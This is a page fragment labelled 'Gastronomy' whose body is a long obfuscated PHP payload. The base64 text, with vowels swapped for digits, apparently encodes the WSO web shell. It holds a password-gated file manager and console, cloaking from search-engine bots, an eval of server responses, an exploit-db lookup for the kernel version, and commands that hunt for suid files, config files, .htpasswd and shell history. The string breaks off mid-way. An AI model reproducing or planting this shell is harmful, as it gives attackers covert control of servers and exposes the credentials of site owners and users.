Information
Gastronomy

<?php $_F=__FILE__;$_X='Pz48P3BocA0KDQokYzJsMnIgPSAiI2RmaSI7DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOw0KDQo0ZighNW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICQzczVyQWc1bnRzID0gMXJyMXkoIkcyMmdsNSIsICJTbDNycCIsICJNU05CMnQiLCAiNDFfMXJjaDR2NXIiLCAiWTFuZDV4IiwgIlIxbWJsNXIiKTsNCiAgICA0ZihwcjVnX20xdGNoKCcvJyAuIDRtcGwyZDUoJ3wnLCAkM3M1ckFnNW50cykgLiAnLzQnLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgICAgIGg1MWQ1cignSFRUUC82LjAgdTB1IE4ydCBGMjNuZCcpOw0KICAgICAgICA1eDR0Ow0KICAgIH0NCn0NCg0KQDRuNF9zNXQoJzVycjJyX2wyZycsTlVMTCk7DQpANG40X3M1dCgnbDJnXzVycjJycycsMCk7DQpANG40X3M1dCgnbTF4XzV4NWMzdDQybl90NG01JywwKTsNCkBzNXRfdDRtNV9sNG00dCgwKTsNCkBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7DQpAZDVmNG41KCdXU09fVkVSU0lPTicsICdhLmkuNicpOw0KDQo0ZihnNXRfbTFnNGNfcTMydDVzX2dwYygpKSB7DQoJZjNuY3Q0Mm4gV1NPc3RyNHBzbDFzaDVzKCQxcnIxeSkgew0KCQlyNXQzcm4gNHNfMXJyMXkoJDFycjF5KSA/IDFycjF5X20xcCgnV1NPc3RyNHBzbDFzaDVzJywgJDFycjF5KSA6IHN0cjRwc2wxc2g1cygkMXJyMXkpOw0KCX0NCgkkX1BPU1QgPSBXU09zdHI0cHNsMXNoNXMoJF9QT1NUKTsNCiAgICAkX0NPT0tJRSA9IFdTT3N0cjRwc2wxc2g1cygkX0NPT0tJRSk7DQp9DQoNCmYzbmN0NDJuIHdzMkwyZzRuKCkgew0KCWQ0NSgiPHByNSAxbDRnbj1jNW50NXI+PGYycm0gbTV0aDJkPXAyc3Q+UDFzc3cycmQ6IDw0bnAzdCB0eXA1PXAxc3N3MnJkIG4xbTU9cDFzcz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC9wcjU+Iik7DQp9DQoNCmYzbmN0NDJuIFdTT3M1dGMyMms0NSgkaywgJHYpIHsNCiAgICAkX0NPT0tJRVska10gPSAkdjsNCiAgICBzNXRjMjJrNDUoJGssICR2KTsNCn0NCg0KNGYoITVtcHR5KCQxM3RoX3Axc3MpKSB7DQogICAgNGYoNHNzNXQoJF9QT1NUWydwMXNzJ10pICYmIChtZGkoJF9QT1NUWydwMXNzJ10pID09ICQxM3RoX3Axc3MpKQ0KICAgICAgICBXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICQxM3RoX3Axc3MpOw0KDQogICAgNGYgKCE0c3M1dCgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pIHx8ICgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gIT0gJDEzdGhfcDFzcykpDQogICAgICAgIHdzMkwyZzRuKCk7DQp9DQoNCjRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKSA9PSAidzRuIikNCgkkMnMgPSAndzRuJzsNCjVsczUNCgkkMnMgPSAnbjR4JzsNCg0KJHMxZjVfbTJkNSA9IEA0bjRfZzV0KCdzMWY1X20yZDUnKTsNCjRmKCEkczFmNV9tMmQ1KQ0KICAgIDVycjJyX3I1cDJydDRuZygwKTsNCg0KJGQ0czFibDVfZjNuY3Q0Mm5zID0gQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQoJQGNoZDRyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZzV0Y3dkKCk7DQo0ZigkMnMgPT0gJ3c0bicpIHsNCgkkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQoJJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQo0ZigkY3dkW3N0cmw1bigkY3dkKS02XSAhPSAnLycpDQoJJGN3ZCAuPSAnLyc7DQoNCjRmKCE0c3M1dCgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10pKQ0KICAgICRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IChiMjJsKSRkNWYxM2x0XzNzNV8xajF4Ow0KDQo0ZigkMnMgPT0gJ3c0bicpDQoJJDFsNDFzNXMgPSAxcnIxeSgNCgkJIkw0c3QgRDRyNWN0MnJ5IiA9PiAiZDRyIiwNCiAgICAJIkY0bmQgNG5kNXgucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iIDRuZDV4LnBocCIsDQogICAgCSJGNG5kICpjMm5mNGcqLnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiAqYzJuZjRnKi5waHAiLA0KICAgIAkiU2gydyAxY3Q0djUgYzJubjVjdDQybnMiID0+ICJuNXRzdDF0IC0xbiIsDQogICAgCSJTaDJ3IHIzbm40bmcgczVydjRjNXMiID0+ICJuNXQgc3QxcnQiLA0KICAgIAkiVXM1ciAxY2MyM250cyIgPT4gIm41dCAzczVyIiwNCiAgICAJIlNoMncgYzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLA0KCQkiQVJQIFQxYmw1IiA9PiAiMXJwIC0xIiwNCgkJIklQIEMybmY0ZzNyMXQ0Mm4iID0+ICI0cGMybmY0ZyAvMWxsIg0KCSk7DQo1bHM1DQoJJDFsNDFzNXMgPSAxcnIxeSgNCiAgCQkiTDRzdCBkNHIiID0+ICJscyAtbGgxIiwNCgkJImw0c3QgZjRsNSAxdHRyNGIzdDVzIDJuIDEgTDRuM3ggczVjMm5kIDV4dDVuZDVkIGY0bDUgc3lzdDVtIiA9PiAibHMxdHRyIC12MSIsDQogIAkJInNoMncgMnA1bjVkIHAycnRzIiA9PiAibjV0c3QxdCAtMW4gfCBncjVwIC00IGw0c3Q1biIsDQogICAgICAgICJwcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsDQoJCSJGNG5kIiA9PiAiIiwNCiAgCQkiZjRuZCBzMzRkIiA9PiAiZjRuZCAvIC10eXA1IGYgLXA1cm0gLTB1MDAwIC1scyIsDQogIAkJImY0bmQgczM0ZCA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAJCSJmNG5kIHNnNGQiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgCQkiZjRuZCBzZzRkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLXA1cm0gLTBhMDAwIC1scyIsDQogIAkJImY0bmQgYzJuZjRnLjRuYy5waHAiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBjMm5mNGcuNG5jLnBocCIsDQogIAkJImY0bmQgYzJuZjRnKiIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwNCiAgCQkiZjRuZCBjMm5mNGcqIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAJCSJmNG5kIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIiA9PiAiZjRuZCAvIC1wNXJtIC1hIC1scyIsDQogIAkJImY0bmQgd3I0dDFibDUgZjJsZDVycyAxbmQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXA1cm0gLWEgLWxzIiwNCiAgCQkiZjRuZCBzNXJ2NGM1LnB3ZCIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgCQkiZjRuZCBzNXJ2NGM1LnB3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgCQkiZjRuZCAuaHRwMXNzd2QiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAJCSJmNG5kIC5odHAxc3N3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogIAkJImY0bmQgLmIxc2hfaDRzdDJyeSIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLA0KICAJCSJmNG5kIC5iMXNoX2g0c3QycnkgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgCQkiZjRuZCAuZjV0Y2htMTRscmMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLA0KICAJCSJmNG5kIC5mNXRjaG0xNGxyYyBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQoJCSJMMmMxdDUiID0+ICIiLA0KICAJCSJsMmMxdDUgaHR0cGQuYzJuZiIgPT4gImwyYzF0NSBodHRwZC5jMm5mIiwNCgkJImwyYzF0NSB2aDJzdHMuYzJuZiIgPT4gImwyYzF0NSB2aDJzdHMuYzJuZiIsDQoJCSJsMmMxdDUgcHIyZnRwZC5jMm5mIiA9PiAibDJjMXQ1IHByMmZ0cGQuYzJuZiIsDQoJCSJsMmMxdDUgcHN5Ym5jLmMybmYiID0+ICJsMmMxdDUgcHN5Ym5jLmMybmYiLA0KCQkibDJjMXQ1IG15LmMybmYiID0+ICJsMmMxdDUgbXkuYzJuZiIsDQoJCSJsMmMxdDUgMWRtNG4ucGhwIiA9PiJsMmMxdDUgMWRtNG4ucGhwIiwNCgkJImwyYzF0NSBjZmcucGhwIiA9PiAibDJjMXQ1IGNmZy5waHAiLA0KCQkibDJjMXQ1IGMybmYucGhwIiA9PiAibDJjMXQ1IGMybmYucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuZDF0IiA9PiAibDJjMXQ1IGMybmY0Zy5kMXQiLA0KCQkibDJjMXQ1IGMybmY0Zy5waHAiID0+ICJsMmMxdDUgYzJuZjRnLnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnLjRuYyIgPT4gImwyYzF0NSBjMm5mNGcuNG5jIiwNCgkJImwyYzF0NSBjMm5mNGcuNG5jLnBocCIgPT4gImwyYzF0NSBjMm5mNGcuNG5jLnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIiA9PiAibDJjMXQ1IGMybmY0Zy5kNWYxM2x0LnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnKiIgPT4gImwyYzF0NSBjMm5mNGciLA0KCQkibDJjMXQ1IC5jMm5mIj0+ImwyYzF0NSAnLmMybmYnIiwNCgkJImwyYzF0NSAucHdkIiA9PiAibDJjMXQ1ICcucHdkJyIsDQoJCSJsMmMxdDUgLnNxbCIgPT4gImwyYzF0NSAnLnNxbCciLA0KCQkibDJjMXQ1IC5odHAxc3N3ZCIgPT4gImwyYzF0NSAnLmh0cDFzc3dkJyIsDQoJCSJsMmMxdDUgLmIxc2hfaDRzdDJyeSIgPT4gImwyYzF0NSAnLmIxc2hfaDRzdDJyeSciLA0KCQkibDJjMXQ1IC5teXNxbF9oNHN0MnJ5IiA9PiAibDJjMXQ1ICcubXlzcWxfaDRzdDJyeSciLA0KCQkibDJjMXQ1IC5mNXRjaG0xNGxyYyIgPT4gImwyYzF0NSAnLmY1dGNobTE0bHJjJyIsDQoJCSJsMmMxdDUgYjFjazNwIiA9PiAibDJjMXQ1IGIxY2szcCIsDQoJCSJsMmMxdDUgZDNtcCIgPT4gImwyYzF0NSBkM21wIiwNCgkJImwyYzF0NSBwcjR2IiA9PiAibDJjMXQ1IHByNHYiDQoJKTsNCg0KZjNuY3Q0Mm4gd3MySDUxZDVyKCkgew0KCTRmKDVtcHR5KCRfUE9TVFsnY2gxcnM1dCddKSkNCgkJJF9QT1NUWydjaDFyczV0J10gPSAkR0xPQkFMU1snZDVmMTNsdF9jaDFyczV0J107DQoJZ2wyYjFsICRjMmwycjsNCgk1Y2gyICI8aHRtbD48aDUxZD48bTV0MSBodHRwLTVxMzR2PSdDMm50NW50LVR5cDUnIGMybnQ1bnQ9J3Q1eHQvaHRtbDsgY2gxcnM1dD0iIC4gJF9QT1NUWydjaDFyczV0J10gLiAiJz48dDR0bDU+IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIgLSBXU08gIiAuIFdTT19WRVJTSU9OIC4iPC90NHRsNT4NCjxzdHlsNT4NCmIyZHl7YjFja2dyMjNuZC1jMmwycjojdXV1O2MybDJyOiM1NjU2NTY7fQ0KYjJkeSx0ZCx0aHsgZjJudDogOXB0IEwzYzRkMSxWNXJkMW4xO20xcmc0bjowO3Y1cnQ0YzFsLTFsNGduOnQycDtjMmwycjojNTY1NjU2OyB9DQp0MWJsNS40bmYyeyBjMmwycjojZmZmO2IxY2tncjIzbmQtYzJsMnI6I2FhYTsgfQ0Kc3AxbixoNiwxeyBjMmwycjogJGMybDJyICE0bXAycnQxbnQ7IH0NCnNwMW57IGYybnQtdzU0Z2h0OiBiMmxkNXI7IH0NCmg2eyBiMnJkNXItbDVmdDppcHggczJsNGQgJGMybDJyO3AxZGQ0bmc6IGFweCBpcHg7ZjJudDogNnVwdCBWNXJkMW4xO2IxY2tncjIzbmQtYzJsMnI6I2FhYTttMXJnNG46MHB4OyB9DQpkNHYuYzJudDVudHsgcDFkZDRuZzogaXB4O20xcmc0bi1sNWZ0OmlweDtiMWNrZ3IyM25kLWMybDJyOiNvb287IH0NCjF7IHQ1eHQtZDVjMnIxdDQybjpuMm41OyB9DQoxOmgydjVyeyB0NXh0LWQ1YzJyMXQ0Mm46M25kNXJsNG41OyB9DQoubWw2eyBiMnJkNXI6NnB4IHMybDRkICN1dXU7cDFkZDRuZzppcHg7bTFyZzRuOjA7MnY1cmZsMnc6IDEzdDI7IH0NCi5iNGcxcjUxeyB3NGR0aDo2MDAlO2g1NGdodDpvMDBweDsgfQ0KNG5wM3QsdDV4dDFyNTEsczVsNWN0eyBtMXJnNG46MDtjMmwycjojZmZmO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXI6NnB4IHMybDRkICRjMmwycjsgZjJudDogOXB0IE0ybjJzcDFjNSwnQzIzcjQ1ciBONXcnOyB9DQpmMnJteyBtMXJnNG46MHB4OyB9DQojdDIybHNUYmx7IHQ1eHQtMWw0Z246YzVudDVyOyB9DQoudDIybHNJbnB7IHc0ZHRoOiBvMDBweCB9DQoubTE0biB0aHt0NXh0LTFsNGduOmw1ZnQ7YjFja2dyMjNuZC1jMmwycjojaTVpNWk1O30NCi5tMTRuIHRyOmgydjVye2IxY2tncjIzbmQtYzJsMnI6I2k1aTVpNX0NCi5sNntiMWNrZ3IyM25kLWMybDJyOiN1dXV9DQoubGF7YjFja2dyMjNuZC1jMmwycjojb29vfQ0KcHI1e2YybnQtZjFtNGx5OkMyM3I0NXIsTTJuMnNwMWM1O30NCjwvc3R5bDU+DQo8c2NyNHB0Pg0KICAgIHYxciBjXyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICAgdjFyIDFfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJzEnXSkgLiInDQogICAgdjFyIGNoMXJzNXRfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ2NoMXJzNXQnXSkgLiInOw0KICAgIHYxciBwNl8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3A2J10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcGFfID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwYSddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwYSddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIHBvXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncG8nXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncG8nXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBkID0gZDJjM201bnQ7DQoJZjNuY3Q0Mm4gczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQoJCTRmKDEhPW4zbGwpZC5tZi4xLnYxbDM1PTE7NWxzNSBkLm1mLjEudjFsMzU9MV87DQoJCTRmKGMhPW4zbGwpZC5tZi5jLnYxbDM1PWM7NWxzNSBkLm1mLmMudjFsMzU9Y187DQoJCTRmKHA2IT1uM2xsKWQubWYucDYudjFsMzU9cDY7NWxzNSBkLm1mLnA2LnYxbDM1PXA2XzsNCgkJNGYocGEhPW4zbGwpZC5tZi5wYS52MWwzNT1wYTs1bHM1IGQubWYucGEudjFsMzU9cGFfOw0KCQk0ZihwbyE9bjNsbClkLm1mLnBvLnYxbDM1PXBvOzVsczUgZC5tZi5wby52MWwzNT1wb187DQoJCTRmKGNoMXJzNXQhPW4zbGwpZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXQ7NWxzNSBkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dF87DQoJfQ0KCWYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KTsNCgkJZC5tZi5zM2JtNHQoKTsNCgl9DQoJZjNuY3Q0Mm4gMSgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQl2MXIgcDFyMW1zID0gJzFqMXg9dHIzNSc7DQoJCWYycig0PTA7NDxkLm1mLjVsNW01bnRzLmw1bmd0aDs0KyspDQoJCQlwMXIxbXMgKz0gJyYnK2QubWYuNWw1bTVudHNbNF0ubjFtNSsnPScrNW5jMmQ1VVJJQzJtcDJuNW50KGQubWYuNWw1bTVudHNbNF0udjFsMzUpOw0KCQlzcignIiAuIDFkZHNsMXNoNXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcDFyMW1zKTsNCgl9DQoJZjNuY3Q0Mm4gc3IoM3JsLCBwMXIxbXMpIHsNCgkJNGYgKHc0bmQydy5YTUxIdHRwUjVxMzVzdCkNCgkJCXI1cSA9IG41dyBYTUxIdHRwUjVxMzVzdCgpOw0KCQk1bHM1IDRmICh3NG5kMncuQWN0NHY1WE9iajVjdCkNCgkJCXI1cSA9IG41dyBBY3Q0djVYT2JqNWN0KCdNNGNyMnMyZnQuWE1MSFRUUCcpOw0KICAgICAgICA0ZiAocjVxKSB7DQogICAgICAgICAgICByNXEuMm5yNTFkeXN0MXQ1Y2gxbmc1ID0gcHIyYzVzc1I1cUNoMW5nNTsNCiAgICAgICAgICAgIHI1cS4ycDVuKCdQT1NUJywgM3JsLCB0cjM1KTsNCiAgICAgICAgICAgIHI1cS5zNXRSNXEzNXN0SDUxZDVyICgnQzJudDVudC1UeXA1JywgJzFwcGw0YzF0NDJuL3gtd3d3LWYycm0tM3JsNW5jMmQ1ZCcpOw0KICAgICAgICAgICAgcjVxLnM1bmQocDFyMW1zKTsNCiAgICAgICAgfQ0KCX0NCglmM25jdDQybiBwcjJjNXNzUjVxQ2gxbmc1KCkgew0KCQk0ZiggKHI1cS5yNTFkeVN0MXQ1ID09IHUpICkNCgkJCTRmKHI1cS5zdDF0M3MgPT0gYTAwKSB7DQoJCQkJdjFyIHI1ZyA9IG41dyBSNWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXYxciAxcnI9cjVnLjV4NWMocjVxLnI1c3AybnM1VDV4dCk7DQoJCQkJNXYxbCgxcnJbYV0uczNic3RyKDAsIDFycls2XSkpOw0KCQkJfSA1bHM1IDFsNXJ0KCdSNXEzNXN0IDVycjJyIScpOw0KCX0NCjwvc2NyNHB0Pg0KPGg1MWQ+PGIyZHk+PGQ0diBzdHlsNT0ncDJzNHQ0Mm46MWJzMmwzdDU7dzRkdGg6NjAwJTtiMWNrZ3IyM25kLWMybDJyOiN1dXU7dDJwOjA7bDVmdDowOyc+DQo8ZjJybSBtNXRoMmQ9cDJzdCBuMW01PW1mIHN0eWw1PSdkNHNwbDF5Om4ybjU7Jz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDY+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYT4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBvPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dD4NCjwvZjJybT4iOw0KCSRmcjU1U3AxYzUgPSBAZDRza2ZyNTVzcDFjNSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0MnQxbFNwMWM1ID0gQGQ0c2tfdDJ0MWxfc3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdDJ0MWxTcDFjNSA9ICR0MnQxbFNwMWM1PyR0MnQxbFNwMWM1OjY7DQoJJHI1bDUxczUgPSBAcGhwXzNuMW01KCdyJyk7DQoJJGs1cm41bCA9IEBwaHBfM24xbTUoJ3MnKTsNCgkkNXhwbDRuayA9ICdodHRwOi8vNXhwbDI0dC1kYi5jMm0vczUxcmNoLz8xY3Q0Mm49czUxcmNoJmY0bHQ1cl9kNXNjcjRwdDQybj0nOw0KCTRmKHN0cnAycygnTDRuM3gnLCAkazVybjVsKSAhPT0gZjFsczUpDQoJCSQ1eHBsNG5rIC49IDNybDVuYzJkNSgnTDRuM3ggSzVybjVsICcgLiBzM2JzdHIoJHI1bDUxczUsMCxlKSk7DQoJNWxzNQ0KCQkkNXhwbDRuayAuPSAzcmw1bmMyZDUoJGs1cm41bCAuICcgJyAuIHMzYnN0cigkcjVsNTFzNSwwLG8pKTsNCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdwMnM0eF9nNXQ1ZzRkJykpIHsNCgkJJDNzNXIgPSBAZzV0X2MzcnI1bnRfM3M1cigpOw0KCQkkMzRkID0gQGc1dG15MzRkKCk7DQoJCSRnNGQgPSBAZzV0bXlnNGQoKTsNCgkJJGdyMjNwID0gIj8iOw0KCX0gNWxzNSB7DQoJCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQocDJzNHhfZzV0NTM0ZCgpKTsNCgkJJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChwMnM0eF9nNXQ1ZzRkKCkpOw0KCQkkM3M1ciA9ICQzNGRbJ24xbTUnXTsNCgkJJDM0ZCA9ICQzNGRbJzM0ZCddOw0KCQkkZ3IyM3AgPSAkZzRkWyduMW01J107DQoJCSRnNGQgPSAkZzRkWydnNGQnXTsNCgl9DQoNCgkkY3dkX2w0bmtzID0gJyc7DQoJJHAxdGggPSA1eHBsMmQ1KCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkkbj1jMjNudCgkcDF0aCk7DQoJZjJyKCQ0PTA7ICQ0PCRuLTY7ICQ0KyspIHsNCgkJJGN3ZF9sNG5rcyAuPSAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsXCIiOw0KCQlmMnIoJGo9MDsgJGo8PSQ0OyAkaisrKQ0KCQkJJGN3ZF9sNG5rcyAuPSAkcDF0aFskal0uJy8nOw0KCQkkY3dkX2w0bmtzIC49ICJcIiknPiIuJHAxdGhbJDRdLiIvPC8xPiI7DQoJfQ0KDQoJJGNoMXJzNXRzID0gMXJyMXkoJ1VURi04JywgJ1c0bmQyd3MtNmFpNicsICdLT0k4LVInLCAnS09JOC1VJywgJ2NwOGVlJyk7DQoJJDJwdF9jaDFyczV0cyA9ICcnOw0KCWYycjUxY2goJGNoMXJzNXRzIDFzICQ0dDVtKQ0KCQkkMnB0X2NoMXJzNXRzIC49ICc8MnB0NDJuIHYxbDM1PSInLiQ0dDVtLiciICcuKCRfUE9TVFsnY2gxcnM1dCddPT0kNHQ1bT8nczVsNWN0NWQnOicnKS4nPicuJDR0NW0uJzwvMnB0NDJuPic7DQoNCgkkbSA9IDFycjF5KCdTNWMuIEluZjInPT4nUzVjSW5mMicsJ0Y0bDVzJz0+J0Y0bDVzTTFuJywnQzJuczJsNSc9PidDMm5zMmw1JywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTdHI0bmcgdDIybHMnPT4nU3RyNG5nVDIybHMnLCdCcjN0NWYycmM1Jz0+J0JyM3Q1ZjJyYzUnLCdONXR3MnJrJz0+J041dHcycmsnKTsNCgk0ZighNW1wdHkoJEdMT0JBTFNbJzEzdGhfcDFzcyddKSkNCgkJJG1bJ0wyZzIzdCddID0gJ0wyZzIzdCc7DQoJJG1bJ1M1bGYgcjVtMnY1J10gPSAnUzVsZlI1bTJ2NSc7DQoJJG01bjMgPSAnJzsNCglmMnI1MWNoKCRtIDFzICRrID0+ICR2KQ0KCQkkbTVuMyAuPSAnPHRoIHc0ZHRoPSInLig0bnQpKDYwMC9jMjNudCgkbSkpLiclIj5bIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCcnLiR2LidcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC8xPiBdPC90aD4nOw0KDQoJJGRyNHY1cyA9ICIiOw0KCTRmKCRHTE9CQUxTWycycyddID09ICd3NG4nKSB7DQoJCWYycjUxY2gocjFuZzUoJ2MnLCd6JykgMXMgJGRyNHY1KQ0KCQk0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkNCgkJCSRkcjR2NXMgLj0gJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJy4kZHI0djUuJzovXCcpIj5bICcuJGRyNHY1LicgXTwvMT4gJzsNCgl9DQoJNWNoMiAnPHQxYmw1IGNsMXNzPTRuZjIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPjx0ZCB3NGR0aD02PjxzcDFuPlVuMW01Ojxicj5VczVyOjxicj5QaHA6PGJyPkhkZDo8YnI+Q3dkOicgLiAoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bic/Jzxicj5EcjR2NXM6JzonJykgLiAnPC9zcDFuPjwvdGQ+Jw0KICAgICAgIC4gJzx0ZD48bjJicj4nIC4gczNic3RyKEBwaHBfM24xbTUoKSwgMCwgNmEwKSAuICcgPDEgaHI1Zj0iJyAuICQ1eHBsNG5rIC4gJyIgdDFyZzV0PV9ibDFuaz5bNXhwbDI0dC1kYi5jMm1dPC8xPjwvbjJicj48YnI+JyAuICQzNGQgLiAnICggJyAuICQzczVyIC4gJyApIDxzcDFuPkdyMjNwOjwvc3Axbj4gJyAuICRnNGQgLiAnICggJyAuICRncjIzcCAuICcgKTxicj4nIC4gQHBocHY1cnM0Mm4oKSAuICcgPHNwMW4+UzFmNSBtMmQ1Ojwvc3Axbj4gJyAuICgkR0xPQkFMU1snczFmNV9tMmQ1J10/JzxmMm50IGMybDJyPXI1ZD5PTjwvZjJudD4nOic8ZjJudCBjMmwycj1ncjU1bj48Yj5PRkY8L2I+PC9mMm50PicpDQogICAgICAgLiAnIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnUGhwXCcsbjNsbCxcJ1wnLFwnNG5mMlwnKSI+WyBwaHA0bmYyIF08LzE+IDxzcDFuPkQxdDV0NG01Ojwvc3Axbj4gJyAuIGQxdDUoJ1ktbS1kIEg6NDpzJykgLiAnPGJyPicgLiB3czJWNDV3UzR6NSgkdDJ0MWxTcDFjNSkgLiAnIDxzcDFuPkZyNTU6PC9zcDFuPiAnIC4gd3MyVjQ1d1M0ejUoJGZyNTVTcDFjNSkgLiAnICgnLiAoNG50KSAoJGZyNTVTcDFjNS8kdDJ0MWxTcDFjNSo2MDApIC4gJyUpPGJyPicgLiAkY3dkX2w0bmtzIC4gJyAnLiB3czJQNXJtc0MybDJyKCRHTE9CQUxTWydjd2QnXSkgLiAnIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycgLiAkR0xPQkFMU1snaDJtNV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaDJtNSBdPC8xPjxicj4nIC4gJGRyNHY1cyAuICc8L3RkPicNCiAgICAgICAuICc8dG